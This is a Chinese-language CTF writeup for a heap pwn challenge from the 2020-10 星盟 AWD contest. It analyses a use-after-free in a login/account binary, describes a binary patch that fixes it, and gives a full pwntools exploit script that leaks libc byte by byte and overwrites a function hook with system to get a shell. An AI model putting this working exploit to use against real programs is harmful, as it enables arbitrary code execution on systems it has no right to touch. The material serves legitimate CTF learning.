星盟AWD 2020-10 PWN Writeup
题目介绍
这个月只有一题pwn,一个堆的洞,更像解题赛的pwn,不难,但是打的时候没想好leak的方法,赛后好好复现了一下
开靶机又是传统功夫ubuntu16 libc2.23 菜单题
稍微逆一下,根据register函数建立结构体
struct account
{
char *password;
void *print_hook;
int len;
};
unsigned __int64 register()
{
...
puts("Input the password length:");
_isoc99_scanf("%d", &len);
if ( len <= 256 && len >= 0 )
{
passwd_chunk = malloc(len);
if ( passwd_chunk )
{
puts("Input password:");
read(0, passwd_chunk, len);
profile_chunk = (account *)malloc(0x18uLL);
profile_chunk->print_hook = victim;
profile_chunk->password = (char *)passwd_chunk;
profile_chunk->len = len;
accounts[index] = profile_chunk;
puts("Register success!");
}
}...
}
return __readfsqword(0x28u) ^ v5;
创建的时候是一个0x20~0x110范围的chunk存储字符串,以及一个固定0x20的chunk存储account基本结构
漏洞点
刷的一下直接看到delete函数
nsigned __int64 delete()
{
...
if ( index < 0 || index > 5 )
{
puts("Wrong id!");
}
else if ( accounts[index] )
{
free(accounts[index]->password);
// use after free
free(accounts[index]);
puts("Delete success!");
}
return __readfsqword(0x28u) ^ v2;
两个chunk free完了都没有清空指针,标准UAF
修复
修复uaf轻车熟路
先上来定位到call free 前的传参
jmp远跳到.eh_frame
把.eh_frame的rwx权限给上
段内用lea给地址赋0
jmp跳回去完事
利用思路
堆块结构里有一个函数hook会在登录成功后调用到这个hook,而且调用的时候会传入hook前面的password指针做参数
因此只要把passsword覆盖成/bin/sh0
把hook覆盖成system
用/bin/sh登录成功后调用hook就是system("/bin/sh0");
unsigned __int64 edit()
{
int v1; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
puts("Input the user id:");
v1 = 0;
_isoc99_scanf("%d", &v1);
if ( v1 < 0 || v1 > 5 )
{
puts("Wrong id!");
}
else if ( accounts[v1] )
{
puts("Input new pass:");
read(0, accounts[v1]->password, accounts[v1]->len);
}
else
{
puts("No such user!");
}
return __readfsqword(0x28u) ^ v2;
}
edit函数也提供了修改能力
因此难点只在于如何获取libc基址
因为只有password的chunk能在unsortedbin范围
做出unsortedbin之后这个account的密码就变成了我们要leak的地址
而密码是不可知且位数上来说很难爆破的
预期解是一个巧妙的解法
用edit修改password指针低位
从而使得password的起点后移到最后一个字节,这样就可以直接爆破最后一个字节,然后前移password指针,逐字节往前爆破
#!/usr/bin/env python3
from pwn import *
import ctypes,subprocess
context(arch='amd64',os='linux',log_level='debug',terminal = ['tmux', 'sp', '-h'])
file_path='./login'
glibc_version="2.23"
_debug_=1
elf = ELF(file_path)
#pwn.io init
if _debug_:
pwn_file="/glibc/%s/64/lib/ld-%s.so --library-path /glibc/%s/64/lib/ %s"%(glibc_version,glibc_version,glibc_version,file_path)
p = process(pwn_file.split())#,env={"LD_PRELOAD":"./libc.so.6"}
libc = ELF('/glibc/%s/64/lib/libc-%s.so'%(glibc_version,glibc_version))
#libc=elf.libc#p.libc
else:
p = remote('node3.buuoj.cn',27546)
#libc = ELF('./libc-2.23.so')
libc = ELF('./libc-%s.so'%glibc_version)
#common pack
su = lambda desp,value:success(desp+' => '+hex(value))
ru = lambda delim :p.recvuntil(delim)
rv = lambda count=1024,timeout=0:p.recv(count,timeout)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
ss = lambda data :p.send(data)
ssa = lambda delim,data :(ru(delim),ss(data))
#gadgets
one_gadget = lambda filename:list(map(int, subprocess.check_output(['one_gadget', '-l2', '--raw', filename]).split(b' ')))
one_gadget = one_gadget(libc.path)
for ogg in one_gadget: su("one_gadget[%d]"%one_gadget.index(ogg),ogg)
#debug
def vmmap():
if _debug_==0: return
for i in list(map(lambda s:b' '.join(s.split()),subprocess.check_output(['cat', '/proc/%d/maps'%p.pid]).split(b'\n'))): print(i)
def debug():
if _debug_==0: return
vmmap()
print(p.libs())
proc_base = p.libs()[elf.path]
libc_base = p.libs()[libc.path]
su('pid(debug)%d'%p.pid,p.pid)
su('proc(debug)',proc_base)
su('libc(debug)',libc_base)
gdbscript='''
directory /glibc/%s/glibc-%s/malloc/
'''%(glibc_version,glibc_version)
gdb.attach(p,gdbscript)
pause()
def menu(idx):
p.sendlineafter('Choice:\n',str(idx))
def login(idx,content):
menu(1)
p.sendlineafter("id:\n",str(idx))
p.sendlineafter("length:\n",str(len(content)))
p.sendafter("password:\n",content)
check = p.recvline()
if check == b"Login success!\n":
return 1
else:
return 0
def add(idx,size,content):
menu(2)
p.sendlineafter('Input the user id:\n',str(idx))
p.sendlineafter('password length:\n',str(size))
p.sendafter('Input password:',(content))
def edit(idx,content):
menu(4)
p.sendlineafter('Input the user id:\n',str(idx))
p.sendafter('pass:\n',(content))
def delete(idx):
menu(3)
p.sendlineafter('Input the user id:\n',str(idx))
def fuck(addr):
for i in range(256):
if(login(1,chr(i)+addr)):
return chr(i)
debug()
add(0,0x40,'aaa')
add(1,0x80,'bbb')
delete(0)
delete(1)
add(3,0x18,'\x80')
addr = ""
for i in range(6):
#pause()
edit(0,chr(0x85-i))
#pause()
addr = fuck(addr)+addr
libc.address = u64(addr+'\x00\x00')-88-0x10-libc.sym['__malloc_hook']
su('libc',libc.address)
pause()
edit(0,p64(next(libc.search(b'/bin/sh\x00')))+p64(libc.sym['system']))
pause()
login(1,'/bin/sh\x00')
#gdb.attach(p)
p.interactive()
暂无评论